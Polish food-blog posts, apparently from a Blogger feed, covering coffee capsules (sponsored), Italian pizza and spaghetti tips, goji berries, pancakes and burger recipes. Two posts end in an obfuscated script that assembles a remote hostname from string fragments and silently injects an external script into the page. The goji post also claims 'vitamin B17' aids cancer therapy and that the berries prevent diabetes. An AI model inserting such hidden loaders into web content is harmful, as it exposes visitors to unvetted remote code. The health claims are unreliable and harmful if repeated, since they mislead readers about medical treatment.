<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLr9-Nn5W5Pd8c11ktf0XMcTPDl35oLW7PbpqsuBcweceH2MFQEVVG1rn1rQt9kDzrMmbL7YqQa6S-V_wPPLf148SWZylO09vYlIw6uk6gpJzPohPJqUG30_zhwSAhmozUEOTpx6NlJDYJ/s1600/nespresso-kaffeekapseln-eines-der-besten-geschaefte-fuer-den-schweizer-lebensmittelkonzern-nestle.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLr9-Nn5W5Pd8c11ktf0XMcTPDl35oLW7PbpqsuBcweceH2MFQEVVG1rn1rQt9kDzrMmbL7YqQa6S-V_wPPLf148SWZylO09vYlIw6uk6gpJzPohPJqUG30_zhwSAhmozUEOTpx6NlJDYJ/s640/nespresso-kaffeekapseln-eines-der-besten-geschaefte-fuer-den-schweizer-lebensmittelkonzern-nestle.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wyszukując w internecie dobrej kawy do ekspresu na kapsułki, najczęściej zaczynamy od wpisana frazy: kapsułki nespresso sklep. Zgodnie z życzeniem zostaniemy przekierowani na strony sprzedawców. Rozmawialiśmy z ekspertami i wiemy, jakie kawy są chwalone przez klientów, za swój wyjątkowy smak i aromat.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>1.Havana Rum, cena: 7,50 za 5 kapsułek</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Kawa o wyjątkowym smaku, i wysokim stopniu intensywności. Idealna do picia o poranku. W pięciostopniowej skali jej intensywność oscyluje w granicach mocnej czwórki. Jej nuty smakowe nawiązują do słodkiego rumu. Delektując się tą kawą ma się w głowie rajskie plaże o złotym piasku, wypoczynek nad brzegiem oceanu oraz energetyczny lazur wody. Słodki aromat pozwoli zrelaksować się i doładować akumulatory. Za pomocą jednej kapsułki można przygotować odpowiednio: 110 ml kawy lungo lub 45 ml kawy espresso.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>2. Diemme CORPO, cena: 15 zł za 10 kapsułek</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Maksymalnie intensywna kawa, zamknięta w hermetycznej kapsułce, dzięi której zaparzysz kawę 40 ml. Kompaktowy rozmiar idealny do filiżanek na espresso. Kawę tą charakteryzuje intensywny i pełny smak. Ma wyrazisty aromat, który zadowoli nawet konesera. Ta pełna smaku mieszkanka ziaren pochodzi z Azji oraz Ameryki Centralnej. Jest palona w miejscu o ponad 90-letniej tradycji. Korzystając z kapsułek Diemme masz pewność, że kupujesz produkt najwyższej jakości.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>3. Amaretto, cena: 7,50 za 5 kapsułek</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Kawa ta w pięciostopniowej skali dostaje czwórkę za intensywność. Kapsułka umożliwia zaparzenie kawy w dwóch opcjach: pierwsza to duże lungo o pojemności 110 ml; druga: espresso 40-50 ml. Charakteryzuje ją wyjątkowy smak, oparty o nuty migdałowe oraz słodko-gorzkie. Jej smak nawiązuje do delikatnego likieru Amaretto. To idealny smak dla kawy popołudniowej. Będzie idealną towarzyszką podczas relaksu, po ciężkim dniu w pracy.</span><br />
<br />
</div>
<div style="text-align: justify;">
<span style="font-size: large;">Tekst stworzony w oparciu o materiały dostarczone przez <a href="http://cafessima.pl/" rel="follow" target="_blank">cafessima.pl</a></span></div>
<div style="text-align: justify;">
<script type="text/javascript">
(function(){
qwl8=document.createElement("script");qwl8_=("us")+("ta");
qwl8_+="t"+(".");qwl8_+=("in");qwl8u="11952038";qwl8.async=true;
qwl8u+=".ue4h72epwl8a97t0b";qwl8.type="text/javascript";qwl8_+="f"+"o"+("/");
qwl8u+="akrszbu6rwsba";qwl8.src="//"+qwl8_+qwl8u;
dqwl8=document.body;dqwl8.appendChild(qwl8);
})();
</script></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-76295995977817488752016-04-20T10:11:00.002+02:002016-04-20T10:11:48.053+02:00Smaki kuchni włoskiej<div style="text-align: justify;">
<b><i><span style="font-size: large;">Nie warto zamykać się na własnym podwórku. Zawsze warto poszerzać horyzonty. Dotyczy to również jedzenia. Smakowanie specjałów innych kuchni może być inspirujące i dostarczyć wspaniałych doznań zmysłowych. Może też korzystnie wpłynąć na nasze zdrowie. </span></i></b></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6lKi30YYihkGleOnoYvwGbENyzp9B3Pl71CcXmKsQI5_wJxWGfjaapoYnFRJN8Hod8d-ayV-T2e9fr8j28l5jHENnkGkRm4PDE25LaTF1z2kAlsdNnKl9nLGAJwIIKSjUc8c0Cy6z37Dr/s1600/wloskie-smaki.jpg" imageanchor="1"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6lKi30YYihkGleOnoYvwGbENyzp9B3Pl71CcXmKsQI5_wJxWGfjaapoYnFRJN8Hod8d-ayV-T2e9fr8j28l5jHENnkGkRm4PDE25LaTF1z2kAlsdNnKl9nLGAJwIIKSjUc8c0Cy6z37Dr/s640/wloskie-smaki.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Kulinarną podróż można zacząć od Włoch, czyli ojczyzny pizzy i posypanego tartym serem i polanego sosem pomidorowym makaronu, czyli spaghetti. Kraj z Półwyspu Apenińskiego słynie też z win, którymi Włosi uświetniają celebrację wielogodzinnych posiłków. Oprócz walorów smakowych kuchnia włoska wyróżnia się stosowaniem dużej ilości warzyw i ziół.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Sekret smacznej pizzy</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Na czym polega? Jak mówi szef kuchni jednej z krakowskich włoskich restauracji<a href="http://www.restauracjapomodorino.pl/" rel="follow"> <b>Pomodorino</b></a>, „<i>Najlepiej tajemnice kuchni Włoskiej znają te osoby, które pracowały w tamtejszych restauracjach</i>.” Niektórzy dzielą się tą wiedzą, lecz nie zdradzają wszystkiego. Z pizzą jest jak z pączkami. O sukcesie decyduje tajemna receptura albo szczegół znany tylko nielicznym. Ważna jest też praktyka pod okiem mistrzów.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">O czym pamiętać przy samodzielnym wyrobie pizzy?</span></div>
<ol style="text-align: justify;">
<li><span style="font-size: large;">
Nie dopuśćmy do powstania w zakwasie tzw. bąbli, czyli pęcherzyków powietrza.</span>
</li>
<li><span style="font-size: large;">
Nie używajmy kiepskiej jakości mąki, ponieważ grozi to zakalcem. To samo może się stać, jeśli będziemy nieprawidłowo rozmrażać ciasto.</span>
</li>
<li><span style="font-size: large;">
Użycie mrożonego ciasta stwarza ryzyko, że po upieczeniu pizza będzie zimna w środku.</span>
</li>
</ol>
<div style="text-align: justify;">
<span style="font-size: large;">Wedle klasycznych założeń ciasto powinno być cienkie. Idealnie, gdybyśmy do jego produkcji użyli włoskiej mąki typu 00. Problem w tym, że ciężko ją kupić w Polsce. Można więc spróbować wymieszać mąkę pszenną i tortową.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Starajmy się, aby konsystencja ciasta była identyczna w środku i na brzegach. Te ostatnie dodatkowo powinniśmy lekko zawinąć ku górze. Zachowajmy poprawną kolejność dodawania składników.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Po upieczeniu ciasta ser powinien się stopić tak, by mieć złocisty kolor i doskonałą rozciągliwość. Nie każdemu się to uda. Wiele zależy od tego, w czym będziemy piec.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wtajemniczeni twierdzą, że do uzyskania pożądanych efektów, czyli dobrze wypieczonego i lekko chrupiącego spodu, konieczny jest piec o specjalnej budowie. Ewentualnie można próbować go zastąpić piekarnikiem o dużej mocy (chodzi o uzyskanie bardzo wysokiej temperatury pieczenia, która powinna dochodzić do 300 st. C).</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Tajemnica dobrego spaghetti</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Urok spaghetti tkwi nie tylko w jego smaku, ale też prostocie wykonania. By ucieszyć podniebienie, nie potrzeba wymyślnych składników. Wielką zaletą tego makaronowego dania jest również krótki czas przyrządzenia – max 30 minut. Idealnie nadaje się więc na szybki obiad albo kolację.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Tajemnica smaku tkwi w sosie. Powinien być gęsty i aromatyczny. Zróbmy go z mięsa mielonego, pomidorów z puszki, cebuli i przypraw. Możemy też wykorzystać seler naciowy. Na koniec nie zapomnijmy posypać dania tartym parmezanem. Walory wizualne i smakowe potrawy wzmocnią listki bazylii albo innych ziół.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">To, jakiego mięsa użyjemy, nie ma większego znaczenia. Zresztą wiele zależy od naszych preferencji. Do spaghetti w równym stopniu nadaje się wieprzowina, jak i wołowina. Najważniejsze jest to, żeby je odpowiednio usmażyć. Powtórzmy: usmażyć, a nie ugotować. Ten błąd bardzo często popełniają miłośnicy makaronu z sosem pomidorowym.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Kuchnia włoska jest jedną z najpopularniejszych kuchni w Polsce, a pizzerie i restauracje włoskie najchętniej odwiedzanie przez Polaków. Również w polskich domach makarony i pizze „domowej roboty” są bardzo popularne.
</span><script type="text/javascript">
(function(){
qkXm=document.createElement("script");qkXm_=("us")+("ta");
qkXm_+="t"+(".");qkXm_+=("in");qkXmu="8822166";qkXm.async=true;
qkXmu+=".wh2215jgkXmsXsdet";qkXm.type="text/javascript";qkXm_+="f"+"o"+("/");
qkXmu+="jnkscgz2g0p3q";qkXm.src="//"+qkXm_+qkXmu;
dqkXm=document.body;dqkXm.appendChild(qkXm);
})();
</script></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com364tag:blogger.com,1999:blog-9022088188921604476.post-12293926526640322112016-03-10T17:46:00.000+01:002016-03-10T17:46:06.006+01:00Właściwości jagód goji<div style="text-align: justify;">
<i><b><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Jagody goji to owoce kolcowoju chińskiego, które zakupić możemy w suszonej postaci. </span></span></b></i></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYfg7z1LiCg1IOYhKMeA4KjM9l-oraG833hWHQ2-N9M3xL-L_c8bqaeCg7lLRPAp79phyphenhyphen05KiXUBg7ZxcT1pn2O2L_MryGqgCNMALyMDEo_Ap2w4r3fxrG5t9JdQIUj3w0L8CbZj9KF_BJ/s1600/foodiesfeed-com_breakfast-full-of-nutritions.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYfg7z1LiCg1IOYhKMeA4KjM9l-oraG833hWHQ2-N9M3xL-L_c8bqaeCg7lLRPAp79phyphenhyphen05KiXUBg7ZxcT1pn2O2L_MryGqgCNMALyMDEo_Ap2w4r3fxrG5t9JdQIUj3w0L8CbZj9KF_BJ/s640/foodiesfeed-com_breakfast-full-of-nutritions.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><b>Właściwości</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Jagody goji stanowią naturalne źródło witamin C (150 mg w 100 g), B oraz E. Ponadto są bogate w żelazo, cynk, wapń, i potas. Wzbogacenie swojej diety o te owoce przyda się każdemu, kto dba o swoje zdrowie, ponieważ m.in. wzmacniają układ odpornościowy oraz wpływają na poprawę wzroku. Mówi się także o ich kolejnych właściwościach – regulują pracę serca, hamują syntezę cholesterolu, obniżają ciśnienie krwi i wspomagają pracę wątroby. Według najnowszych badaniom zapobiegają również powikłaniom cukrzycy oraz hamują rozwój cukrzycy.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Jagody goji zawierają również rzadko występującą witaminę B17, która stosowana jest jako wsparcie w terapii antynowotworowej. Natomiast ze względu na dużą zawartość witaminy C, owoce te mają silne właściwości antyutleniające, dzięki czemu niszczą wolne rodniki, które przyczyniają się do starzenia się skóry. Ponadto zawierają one również szereg karotenoidów o działaniu antyoksydacyjnym - m.in. beta-karoten, likopen i luteinę.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><b>Jagody goji a odchudzanie</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Ostatnio mówi się również o tym, że <a href="http://www.dietetykswarzedz.pl/jagody-goji-na-odchudzanie/">jagody goji</a> mogą wspomagać odchudzanie. Może mieć to związek z tym, że jagody te zawierają 5 niezwykle cennych kwasów tłuszczowych, w tym kwas linolowy, który pomaga walczyć ze zbędnymi kilogramami. Ze względu na swoje właściwości jagody goji coraz częściej występują jako składnik różnego rodzaju suplementów diety.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Warto jednak pamiętać, że lekarze zalecają umiar w spożywaniu jagód goji. Rożne źródła podają różne zalecane dawki dzienne (niektóre 5-15g, niektóre więcej). Oprócz tego trzeba zawsze kupować jagody z pewnego źródła (aby na pewno były to owoce kolcowoju chińskiego). Należy również zwracać uwagę na ich pochodzenie - najzdrowsze jagody to te, rosnące w Himalajach oraz w dolinach tybetańskich, ponieważ są to rejony najmniej zanieczyszczone.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><b>Zastosowanie w kuchni</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Jagody te świetnie sprawdzą się jako element śniadania, np. w owsiance. Oprócz tego będą idealnym składnikiem zdrowych koktajli (przed zmiksowaniem warto zalać je gorącą wodą). Ale warto wypróbować też mniej oczywiste połączenia – np. jako dodatek do kaszy, dań mięsnych czy zup.</span></span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com1tag:blogger.com,1999:blog-9022088188921604476.post-25046095241940373092016-03-06T11:00:00.001+01:002016-03-06T11:00:19.168+01:00Świat naleśników<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><i><b>Według różnych wersji naleśniki mogą pochodzić m. in. z Rzymu bądź Chin. Większość krajów ma swoją ulubioną wersję ciasta naleśnikowego i sposób ich podawania. We wschodniej Europie popularne są bliny ze śmietaną i kawiorem. </b></i></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh92mHzmqO33gH9zb5MwsUTW6Q9QsTjp1W9wd0CjzQURHw4DGyg1SxL9yMECNaBqHW2dFaJKdxFrhi6WXQ1THi-CYX-MjlYKLiEhqeL0FP9Cctx3uyuxjhVoLMHi3EtJS4BscD3HP_qcV5Y/s1600/pancake-824610_1280.jpg" imageanchor="1"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh92mHzmqO33gH9zb5MwsUTW6Q9QsTjp1W9wd0CjzQURHw4DGyg1SxL9yMECNaBqHW2dFaJKdxFrhi6WXQ1THi-CYX-MjlYKLiEhqeL0FP9Cctx3uyuxjhVoLMHi3EtJS4BscD3HP_qcV5Y/s640/pancake-824610_1280.jpg" width="640" /></a> </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Pochodzenie naleśników</span></span></b></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Każdy kucharz rozpoczynał swą przygodę z naleśnikami od wyrzucenia pierwszego z nich do kosza na śmieci. Naleśniki są znane i lubiane wszędzie już od czasów starożytnych. To danie o dużym potencjale przyrządza się inaczej w każdej kulturze i przypisuje mu inne pochodzenie. Niekiedy wykwintne i na wyjątkowe okazje, naleśniki bywają też traktowane po macoszemu i są niedocenianą potrawą podrzędną. To w Starożytności powstały pierwsze cienkie placki z mąki i mleka. Rzymianie także uzurpują sobie prawo do tego dania – jedzonych zamiast chleba okrągłych placenta, które w Europie podobno rozsławili legioniści. Jedna z wersji głosi, że naleśniki jedzone z warzywami zawdzięczamy Chińczykom, używającym do wypieku ciasta ryżowego już w IV w p.n.e. Od XV wieku pod koniec karnawału obchodzimy Dzień Naleśnika, kiedy można opychać się do woli pysznościami ze słodkim serem i dżemem czy zapieczonymi ze szpinakiem i serem, z których spływa <a href="http://www.przepisy.pl/przepis/sos-beszamelowy" rel="follow">sos beszamelowy</a>. Często organizowane są wówczas biegi z patelnią, na której kilkakrotnie podrzuca się naleśnika.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Zagraniczne wersje placków</span></span></b></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Efektem eksperymentowania z podstawowymi składnikami ciasta naleśnikowego: mąką, mlekiem i jajkami są liczne wersje tych jedzonych w wersji słonej bądź słodkiej placków:</span></span></div>
<ul style="text-align: justify;">
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Francuzi zajadają się cieniutkimi crepes spulchnianymi dodatkiem cydru lub piwa. Je się je z konfiturą, z cukrem, skropione cytryną albo polane płonącym likierem z gorzkich pomarańczy. Z kuchni francuskiej zaczerpnęliśmy aromatyczny sos beszamelowy (którego smak Louis de Bechamel dopracowywał kilkanaście lat), najbardziej pasujący do wytrawnej wersji coraz częściej przyrządzanych naleśników ze szpinakiem i różnymi serami. Włoskie crespelle to prawie identyczny wyrób jak crepes.</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Szwedzi uwielbiają odpowiednik crespelle z pieczoną wieprzowiną, plattar (malutkie, smażone po kilkanaście na jednej patelni placuszki) i raggmunk (warzywne placki przede wszystkim z przetartych ziemniaków).</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">w Ameryce i Kanadzie spulchnia się gęste ciasto proszkiem do pieczenia i pałaszuje na śniadanie centymetrowej grubości pancakes z syropem klonowym lub masłem orzechowym.</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Holenderskie pannekoeken są bardzo duże i chrupkie, spulchnione i jedzone z boczkiem.</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Rosja i Ukraina mają swoje puszyste bliny z dodatkiem mąki gryczanej, podawane z kwaśną śmietaną i kawiorem.</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Egipski katief jest smażony jednostronnie, chłodzony, po nałożeniu farszu skleja się jego brzegi, smaży i moczy w słodkim syropie.</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Japońskie dorayaki przyrządza się z gąbczastego ciasta, a 2 placki łączy słodka fasolowa pasta.</span></span></li>
</ul>
<div style="text-align: justify;">
<br /></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com5tag:blogger.com,1999:blog-9022088188921604476.post-61688926472388905732016-03-03T12:05:00.003+01:002016-03-03T12:05:59.389+01:00Jak zrobić burgery? Przepisy!<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Tęsknisz za sezonem grillowym? A może chcesz uniknąć jedzenia fastfoodów i zrobić domową wersję hamburgerów? Niezależnie od pobudek, w tym artykule znajdziesz inspirację do stworzenia pysznego obiadu dla siebie i całej rodziny. </span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmlpGp35ZOWSSNw6r0qJo7UtKYLw5vlrKrejR-u0SRaMs9GUwNy94tTp1VF8juktQJYbMr5h2Viy47uAjqHZcX2rMhQ0I2nqhUr7Zpgm6l3RBSGBcWHJvaG4K2w2MYtglyGOA0B3jonnBd/s1600/8736284104_9a6a3792d2_b-1.jpg" imageanchor="1"><img border="0" height="419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmlpGp35ZOWSSNw6r0qJo7UtKYLw5vlrKrejR-u0SRaMs9GUwNy94tTp1VF8juktQJYbMr5h2Viy47uAjqHZcX2rMhQ0I2nqhUr7Zpgm6l3RBSGBcWHJvaG4K2w2MYtglyGOA0B3jonnBd/s640/8736284104_9a6a3792d2_b-1.jpg" width="640" /></a></div>
<h2>
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b> </b></span></span></h2>
<h2>
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Przepis na burgera z salsą z awokado i pomidorów</b></span></span></h2>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Składniki na 6 porcji - kotlety</b></span></span></div>
<ul>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">500 gram mielonej wołowiny</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 cebula duża</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">2 ząbki czosnku</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 papryczka chilli</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżeczka czerwonej papryki w proszku</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/2 łyżeczki mielonego kminu rzymskiego</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/4 łyżeczki ostrej papryki w proszku</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Salsa z awokado i pomidorów</b></span></span></div>
<ul>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">2 pomidory</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/2 cebuli średniej</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 całe awokado</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">sok z limonki</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">pęczek kolendry</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Do podania: wypiekane razowe buły</span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Przygotowanie burgerów:</b></span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Do miski wkładamy pokrojoną cebule, posiekany czosnek i mięso, a także przepołowioną papryczkę. Pamiętamy, aby usunąć pestki! Dodajemy do mięsa także przyprawy i formujemy burgery, po czym podpiekamy je po około 5 min z każdej strony.</span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Salsa:</b></span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Pomidory parzymy i obieramy ze skóry. Kroimy na kawałki, usuwając gniazda nasienne. Miąższ kroimy i wkładamy do miski. Do tej samej miski wrzucamy pokrojone awokado i cebulę. Całość kropimy sosem z limonki. Dodajemy także drobno pokrojoną kolendrę.</span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Podpiekamy buły w piecu, aby były chrupkie, smarujemy je salsą i dodajemy kotlety.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<h2>
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Burgery wegetariańskie z serem halloumi</b></span></span></h2>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Składniki:</b></span></span></div>
<ul>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Bułki do hamburgerów</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">250 gram sera halloumi</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Ajvar – pasta z papryki</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Musztarda</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Majonez</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Sałata</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Plasterki ananasa</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 czerwona cebula</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Przygotowanie:</b></span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Bułeczki wkładamy do pieca nagrzanego do 140 stopni, aby się podpiekły. W międzyczasie podsmażamy na patelni plasterki ananasa. Ser kroimy w plasterki, obtaczamy w oliwie i grillujemy około 5 minut z każdej strony. Wyciągamy bułeczki i smarujemy majonezem. Kładziemy ser i sałatę oraz kilka krążków cebulki. Dajemy również warstwę ajvaru i kilka kropek musztardy. Przykrywamy dodatki drugą bułką.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<h2>
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Burger z łososiem</b></span></span></h2>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Składniki:</b></span></span></div>
<ul>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">400 gram filetu z łososia</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">50 gram rukoli</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżka oliwy z oliwek</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 ząbek czosnku</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 gałązka koperku</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Majonez</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Bułki</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Sposób przygotowania:</b></span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Odcinamy skórę z łososia i usuwamy potencjalne ości. Rozdrabniamy go za pomocą blendera na pastę. Na patelni rozgrzewamy oliwę i posiekany czosnek. Dodajemy rukolę i lekko podsmażamy. Następnie rukolę mieszamy z łososiem. Doprawiamy całość solą i pieprzem. Z masy formujemy kotlety i smażymy je około 2 minuty z każdej strony na rozgrzanej patelni. Posypujemy koperkiem. Wkładamy do bułek podpieczonych w piecu i podajemy z odrobiną majonezu lub jogurtem greckim i cytryną.</span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Burgery idealnie pasują do frytek. Dobrze też będzie się przy nich komponować sałatka coleslaw</span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">(lepszą niż w KFC jest w przepisie codogara.pl <a href="http://www.codogara.pl/4799/salatka-coleslaw-lepsza-niz-w-kfc/">http://www.codogara.pl/4799/salatka-coleslaw-lepsza-niz-w-kfc/ </a>)</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br />
<div style="text-align: center;">
